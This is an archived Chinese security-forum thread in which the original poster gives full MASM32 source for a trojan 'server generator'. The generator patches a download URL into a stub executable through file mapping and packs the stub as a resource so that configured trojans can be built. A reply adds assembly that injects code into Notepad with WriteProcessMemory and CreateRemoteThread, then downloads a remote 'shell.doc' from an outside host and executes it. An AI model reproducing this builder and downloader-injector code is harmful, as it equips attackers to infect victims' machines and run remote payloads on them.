邪恶八进制信息安全团队技术讨论组's Archiver

asm 2006-12-27 18:39

[原创]汇编实现木马生成技术

文章作者:asm[C.R.S.T]
信息来源:邪恶八进制信息安全团队

[color=red]此文章仅作技术研究之用,请勿用于非法用途,由此带来的一切后果自负。与作者和邪恶八进制无关![/color]

 注:代码采用MASM32格式编写,全部测试通过--嘿嘿,不通过的代码不敢发布误人子弟^_^
  写这篇文章的目的是回顾一下这几天关于探究木马生成技术的过程.在我学习中,很多人给了我帮助,男女都有,有火狐的,有邪恶八进制的,红狼的,在此感谢 ^_^
  在网上这样的文章貌似已经泛滥了,当时作者们都是没有给出完整代码,或者他们给的代码无法编译等等,有可能误导了别人.这篇文章是我切身的学习过程,既然我掌握了这个泛滥的技术,也厚着脸皮写出来,希望能对你们有用..
  首先我们看一下第一种方法,也是一种很简单的方法,就是在内存中直接对这个服务端进行操作,把你的URL替换掉这个程序原先的字符串,例如:

[code]
  szUrl db '[url]http://www.wolfexp.net/forum/shell.exe[/url]          ',0
[/code]

这个.data段里的szUrl已经事先准备好了,我们要做的就是通过内存映射的方式直接把szUrl替换成你需要的,这样就达到配置木马的目的.那怎么做,很简单,直接在这个程序的物理内存中修改.其中用到的函数是CreateFile,CreateFileMapping,MapViewOfFile.对一个文件进行操作之前,自然要打开它,并且打开的时候要指定是可写操作,打开成功会返回一个句柄,通过这个句柄,可以利用CreateFileMapping创建一个内存共享,然后MapViewOfFile把文件读进物理内存中.现在我们来指定一个要修改的函数,先声明它:

[code]
MapViewFile PROTO :LPSTR ;函数声明
[/code]

[code]
MapViewFile proc uses ebx esi edi,lpProcessAddress:LPSTR
  mov edi,lpProcessAddress   ;获得初始偏移地址
  add edi,0010a0h       ;获取字符串地址
invoke lstrcpy,edi,addr szU  ;拷贝替换
  ret
MapViewFile endp
[/code]

这样在MapViewOfFile把文件读进物理内存后,我们可以利用伪指令调用
invoke MapViewFile,pMapAddr.
其中pMapAddr是MapViewOfFile返回的句柄.这个子程序可以这样来解释,首先得到内存地址的最初偏移,也就是000000H这个地址,然后add edi,0010a0h       得到你要替换的字符串的地址,这里我填的是0010a0h(关于怎么获取你要更改字符串的偏移地址,可以用VC++资源编辑器查看这个文件的二进制资源),得到之后调用lstrcpy拷贝字符串到你准备的0010a0h处.关于lstrcpy的参数定义,大家可以自己看MSDN.这种方法其实就是对磁盘上的PE文件进行修改,修改PE数据段中的数据。说白了就是利用内存共享把这个PE映射到物理内存页,然后通过查找原先字符串的偏移地址来修改完成.完整的测试代码如下:
服务端:
[code]
;******************************************************
;程序编写by Asm
;日期:2006-12-27日
;出处:[url]http://www.wolfexp.net/[/url](红狼安全小组)
;注意事项:如欲转载,请保持本程序的完整,并注明:
;转载自 红狼安全小组([url]http://www.wolfexp.net/[/url])
;******************************************************
.386
.model flat,stdcall
option casemap:none

include      windows.inc
include      user32.inc
includelib   user32.lib
include      kernel32.inc
includelib   kernel32.lib
.data
szUrl db '[url]http://www.wolfexp.net/forum/shell.exe[/url]',0
.code
start:
   invoke MessageBox, NULL, addr szUrl,NULL, MB_OK or MB_ICONINFORMATION
   invoke   ExitProcess,NULL
;>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>
end start


客户端:

;******************************************************
;程序编写by Asm
;日期:2006-12-27日
;出处:[url]http://www.wolfexp.net/[/url](红狼安全小组)
;注意事项:如欲转载,请保持本程序的完整,并注明:
;转载自 红狼安全小组([url]http://www.wolfexp.net/[/url])
;******************************************************
.386
.model flat,stdcall
option casemap:none
include      windows.inc
include      user32.inc
includelib   user32.lib
include      kernel32.inc
includelib   kernel32.lib

MapViewFile PROTO :LPSTR ;函数声明

.data?
hFile dd ?
pMapView dd ?
hMapView dd ?
.data
szFileName db 'asm.exe',0
szU db '[url]http://www.wolfexp.net/[/url]',0 ;这里是你自己设定要修改的内容!
.code
;>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>
;修改指定偏移地址处的数据子程序
;>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>
MapViewFile proc uses ebx esi edi,lpProcessAddress:LPSTR
  mov edi,lpProcessAddress   ;获得初始偏移地址
  add edi,000800h        ;获取字符串地址
invoke lstrcpy,edi,addr szU  ;拷贝替换
  ret
MapViewFile endp
;>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>
start:
invoke CreateFile,addr szFileName,GENERIC_READ or GENERIC_WRITE,\ ;打开它
  FILE_SHARE_READ or FILE_SHARE_WRITE,NULL,OPEN_EXISTING, \         
  FILE_ATTRIBUTE_NORMAL,NULL              
  .if eax!=INVALID_HANDLE_VALUE
  mov hFile, eax ;保存句柄         
invoke CreateFileMapping,hFile,NULL,PAGE_READWRITE,0,0,NULL ;建立内存共享
  .if eax!=NULL
  mov hMapView,eax ;保存句柄
invoke MapViewOfFile,hMapView,FILE_MAP_WRITE,0,0,NULL ;读取内存共享
  .if eax!=NULL
mov pMapView,eax ;保存句柄
invoke MapViewFile,pMapView    ;修改服务端内存里内容
.endif
invoke UnmapViewOfFile,pMapView ;解除文件映射
  .endif
  invoke CloseHandle,hMapView   ;关闭内存映射文件
  .endif
  invoke CloseHandle,hFile     ;关闭文件
  invoke ExitProcess,eax
end start
[/code]

运行后,服务端代码中的szUrl会被修改成客户端中的szU.

    上面的方法虽然达到了目的,但是却要拖着个服务端,其实很麻烦。我们可以配合第一种方法,真正实现木马生成。之前,我们了解一下一个PE文件的资源,有位图,光标,菜单,二进制等资源,如图,这个是灰鸽子服务端的资源:
[attach]9844[/attach]
上面有很多资源是吧,但是我们需要的只是data二进制资源...现在我们还是以前面例子代码中的服务端做示范.首先编译这个代码,然后在一个rc资源文件中包含,如:
[code]
//>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>
#include      <resource.h>
//>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>
#define   ICO_MAIN      0x1000   //图标
#define   DLG_MAIN      1
#define  IDC_URL    1001
#define  ASM    1002
//>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>
ASM    RCDATA  DISCARDABLE "asm.exe" ;这里包含资源....
//>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>
DLG_MAIN DIALOG 50, 50, 263, 51
STYLE DS_MODALFRAME | WS_POPUP | WS_VISIBLE | WS_CAPTION | WS_SYSMENU
CAPTION "木马服务端生成技术测试---by Asm 红狼安全小组"
FONT 9, "宋体"
{
LTEXT        "正文:", -1,14,16,26,14
EDITTEXT      IDC_URL,43,16,148,14,ES_AUTOHSCROLL | WS_BORDER | WS_TABSTOP
PUSHBUTTON    "生成exe",IDOK,200,17,44,14
}
//>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>
[/code]

然后,我们了解win32API中,关于对资源查找的几个API是FindResource,SizeofResource,LoadResource,GlobalAlloc,LockResource..关于函数的参数定义,大家可以参考MSDN.首先调用FindResource查找你定义的资源ID,这里我定义是 "ASM  equ   1002",找到资源自然会返回一个句柄,接着SizeofResource获取资源的大小,为什么要获取,因为在后面WriteFile写文件的时候需要...然后LoadResource装载我们的资源.当然拉,我们还要给这个二进制的数据分配一个内存快,GlobalAlloc...最后,LockResource锁定资源,成功的话返回一个句柄,我们可以利用这个句柄,直接把二进制的服务端导出成了一个exe文件,然后在利用上面例子中客户端的代码,进行修改,就可以生成了...代码如下:
[code]
;******************************************************
;程序编写by Asm
;日期:2006-12-27日
;出处:[url]http://www.wolfexp.net/[/url](红狼安全小组)
;注意事项:如欲转载,请保持本程序的完整,并注明:
;转载自 红狼安全小组([url]http://www.wolfexp.net/[/url])
;******************************************************
.386
.model flat, stdcall
option casemap :none
;>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>
; Include 文件定义
;>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>
include      windows.inc
include      user32.inc
includelib   user32.lib
include      kernel32.inc
includelib   kernel32.lib

MapViewFile PROTO :LPSTR ;函数声明

;>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>
; Equ 等值定义
;>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>
ICO_MAIN   equ      1000h   ;图标
DLG_MAIN   equ      1
IDC_URL equ     1001
ASM  equ    1002
;>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>
; 数据段
;>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>
.data?
hInstance   dd      ?
hWindws dd ?
hFile dd ?
pMapView dd ?
hMapView dd ?
.data
szUrl db 156 dup(0)
szText db &#39;成功生成&#39;,0
szCaption db &#39;恭喜&#39;,0
szFileName db &#39;asm.exe&#39;,0
;>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>
; 代码段
;>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>
      .code
;>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>
;修改指定偏移地址处的数据子程序
;>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>
MapViewFile proc uses ebx esi edi,lpProcessAddress:LPSTR
  mov edi,lpProcessAddress   ;获取初始地址
  add edi,000800h        ;获取字符串地址
invoke lstrcpy,edi,addr szUrl ;修改,等关闭句柄,系统自动保存
  ret
MapViewFile endp
;>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>
_Process proc
invoke CreateFile,addr szFileName,GENERIC_READ or GENERIC_WRITE,\ ;打开它
  FILE_SHARE_READ or FILE_SHARE_WRITE,NULL,OPEN_EXISTING, \         
  FILE_ATTRIBUTE_NORMAL,NULL              
  .if eax!=INVALID_HANDLE_VALUE
  mov hFile, eax ;保存句柄         
invoke CreateFileMapping,hFile,NULL,PAGE_READWRITE,0,0,NULL ;建立内存共享
  .if eax!=NULL
  mov hMapView,eax ;保存句柄
invoke MapViewOfFile,hMapView,FILE_MAP_WRITE,0,0,NULL ;读取内存共享
  .if eax!=NULL
mov pMapView,eax ;保存句柄
invoke MapViewFile,pMapView    ;修改服务端内存里内容
.endif
invoke UnmapViewOfFile,pMapView ;解除文件映射
  .endif
  invoke CloseHandle,hMapView   ;关闭内存映射文件
  .endif
  invoke CloseHandle,hFile     ;关闭文件
  ret
_Process endp
;>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>
_ProcDlgMain   proc   uses ebx edi esi hWnd,wMsg,wParam,lParam
  LOCAL hRsrc,hResData,dwSize,dwSizeWritten,lpData,lpRes
      mov   eax,wMsg
      .if   eax == WM_CLOSE
        invoke   EndDialog,hWnd,NULL
      .elseif   eax == WM_INITDIALOG
        invoke   LoadIcon,hInstance,ICO_MAIN
        invoke   SendMessage,hWnd,WM_SETICON,ICON_BIG,eax
      .elseif   eax == WM_COMMAND
        mov   eax,wParam
        .if   ax == IDOK
      invoke   GetDlgItemText,hWnd,IDC_URL,addr szUrl,sizeof szUrl ;获得szUrl内容
      invoke FindResource,NULL,ASM,RT_RCDATA ;查找ASM资源
               mov hRsrc,eax
     invoke SizeofResource,NULL,hRsrc ; 获取资源长度
     mov dwSize,eax
     invoke LoadResource,NULL,hRsrc ;装载资源
     mov hResData,eax
     invoke GlobalAlloc,GPTR,dwSize ;给数据分配内存
      mov lpData,eax
     invoke LockResource,hResData ;锁定它
     mov lpRes,eax
     invoke CreateFile,offset szFileName,GENERIC_WRITE,FILE_SHARE_READ,\
     NULL,CREATE_ALWAYS,FILE_ATTRIBUTE_NORMAL,NULL ;打开文件
     .if eax != NULL
          mov hFile,eax
     invoke WriteFile,hFile,lpRes,dwSize,addr dwSizeWritten,NULL     ;把二进制写进去
     invoke CloseHandle,hRsrc
     invoke CloseHandle,hResData
     invoke CloseHandle,hFile
     invoke GlobalFree,lpData
     .endif
     call _Process ;开始配置
     invoke MessageBox,hWnd,offset szText,offset szCaption,MB_OK  
        .endif
      .else
        mov   eax,FALSE
        ret
      .endif
      mov   eax,TRUE
      ret

_ProcDlgMain   endp
;>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>
start:
      invoke   GetModuleHandle,NULL
      mov   hInstance,eax
      invoke   DialogBoxParam,hInstance,DLG_MAIN,NULL,offset _ProcDlgMain,NULL
      invoke   ExitProcess,NULL
;>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>
      end   start

[/code]
测试如图:
[attach]9845[/attach]

goodball32 2007-1-12 19:01

我最近一直很关注你的主题,感觉你是一位汇编高手,不知您对.net感不感兴趣?我发觉.net
的东西反汇编.和以往的vc有很多区别....我以前一直试图找出vc编译器 高级语言和汇编之间的关系,但是最近自己弄了几个简单的c#的程序,发觉很多不同...

asm 2007-1-12 20:11

"我最近一直很关注你的主题,感觉你是一位汇编高手"
高手不敢当,只是世间的一个迷途的小书童

"不知您对.net感不感兴趣"
我对.net不感兴趣,或者,还没到感兴趣的时候[s:39]

"我以前一直试图找出vc编译器 高级语言和汇编之间的关系"
这样的主题要说起来几天几夜都说不完。我感觉,他们都是同一回事。简单说,VC编译器是可以用来编译汇编,VC++同时又可以内镰汇编,况且,win32汇编中的资源都是VC编译器来rc的。至于高级语言,似乎范围大了点。

Robinh00d 2007-1-31 14:54

可以把生成的木马和木马的配置信息都放进资源里
这样的话就不必硬编码去定位串信息了

asm 2007-2-1 10:16

[quote][b]引用第3楼[i]Robinh00d[/i]于[i]2007-01-31 14:54[/i]发表的[/b]:
可以把生成的木马和木马的配置信息都放进资源里
这样的话就不必硬编码去定位串信息了[/quote]


[s:39] 很多办法都行,这个就看个人偏好

welcome 2007-2-13 00:41

host:=Edit1.Text;
AssignFile(f,Edit2.Text);
Reset(f,1);

seek(f,1443);
for i:=1 to 255 do str:=char(0);
for i:=1 to length(str) do str:=Host;
BlockWrite(f,str,length(Host));
Each_size[1]:=char(length(Host));

CloseFile(f);



- -!

ouqi 2007-2-14 17:18

都是高手啊!我语言学的不少,但是都不精通,汇编没有涉及过。个人感觉c#和vc++编译器没有什么大的区别。

jigangwinnie 2007-4-16 20:59

能留下联系方式吗?或者发我邮箱里面,有些问题想和您下探讨一下

ifwish 2007-5-26 19:46

这个生成的方法不错,可是我测试的时候,如果服务端包含一些特别的函数时就不能 建立内共享 .
比如SendMessage函数.高手们帮我解决下

ifwish 2007-5-27 09:18

我说的不够清楚,还是举个例子吧,就用楼主的简单注入代码好了.
.386
.model flat, stdcall
option casemap:none
include windows.inc
include kernel32.inc
include user32.inc
include urlmon.inc
include shell32.inc
includelib kernel32.lib
includelib user32.lib
includelib urlmon.lib
includelib shell32.lib

.data
szCalss db  &#39;Notepad&#39;,0
szURL  db &#39;[url]Http://chenmingzhong87.xinwen365.com/shell.doc[/url]&#39;,0
szSaveFile db &#39;C:\shell.doc&#39;,0

.data?
hModule dd ?
hWnd dd ?
hProcess dd ?
ShellSize dd ?
Pid dd ?
Written dd ?
dwTid dd ?
.code

Shellcode proc
push 00403008H
call LoadLibrary
push 00403013H
call LoadLibrary
invoke URLDownloadToFile,NULL,addr szURL,addr szSaveFile,NULL,NULL
invoke ShellExecute,0,0,addr szSaveFile,0,0,SW_SHOW
invoke ExitThread,0
ret
Shellcode endp
start:
invoke FindWindow,addr szCalss,0
invoke GetWindowThreadProcessId, eax, addr Pid
invoke OpenProcess,PROCESS_CREATE_THREAD or PROCESS_VM_WRITE+\
    PROCESS_VM_OPERATION,FALSE,Pid   
mov hProcess, eax
invoke VirtualFreeEx, hProcess, hModule, 0, MEM_RELEASE
invoke VirtualAllocEx, hProcess, hModule, ShellSize, MEM_COMMIT or MEM_RESERVE, PAGE_EXECUTE_READWRITE
mov hWnd, eax
invoke WriteProcessMemory, hProcess, hWnd, hModule, ShellSize, addr Written
invoke CreateRemoteThread, hProcess, 0, 0, addr Shellcode, hModule, 0, addr dwTid
invoke ExitProcess, 0
end start
生成后只要把
add edi,000800h     ;获取字符串地址
改为add edi,000218h
就可以正常的生成
可是我打算给别的窗口发送一个信息.
在代码中随意一个地方加上
invoke SendMessage,eax,WM_CLOSE,0,0 ;给窗口发送关闭信息
现在生成器就不能改变我们的HTTP地址了.
那怕你设为子程序,跟本没调用.同样失效.
经过多次测试都没有成功.望各位大虾帮忙解决下.

页: [1]
© 1999-2008 EvilOctal Security Team